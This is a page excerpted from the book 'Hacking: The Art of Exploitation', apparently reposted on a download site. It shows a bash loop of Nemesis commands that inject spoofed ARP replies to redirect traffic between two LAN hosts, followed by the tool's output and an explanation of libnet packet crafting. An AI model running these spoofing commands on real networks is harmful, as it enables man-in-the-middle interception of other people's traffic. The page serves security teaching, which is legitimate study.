Hacking - The Art of Exploitation, 2nd Edition

(Romina) #1

244 0x400


> sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h
00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M
00:C0:F0:79:3D:30
> sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h
00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M
00:50:18:00:0F:01
> echo "Redirecting..."
> sleep 10
> done

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30


[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01


[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
ARP Packet Injected
Redirecting...

You can see how something as simple as Nemesis and the standard BASH
shell can be used to quickly hack together a network exploit. Nemesis uses a
C library called libnet to craft spoofed packets and inject them. Similar to
libpcap, this library uses raw sockets and evens out the inconsistencies between
platforms with a standardized interface. libnet also provides several convenient
functions for dealing with network packets, such as checksum generation.
The libnet library provides a simple and uniform API to craft and inject
network packets. It’s well documented and the functions have descriptive
names. A high-level glance at the source code for Nemesis shows how easy it
is to craft ARP packets using libnet. The source file nemesis-arp.c contains
several functions for crafting and injecting ARP packets, using statically defined
Free download pdf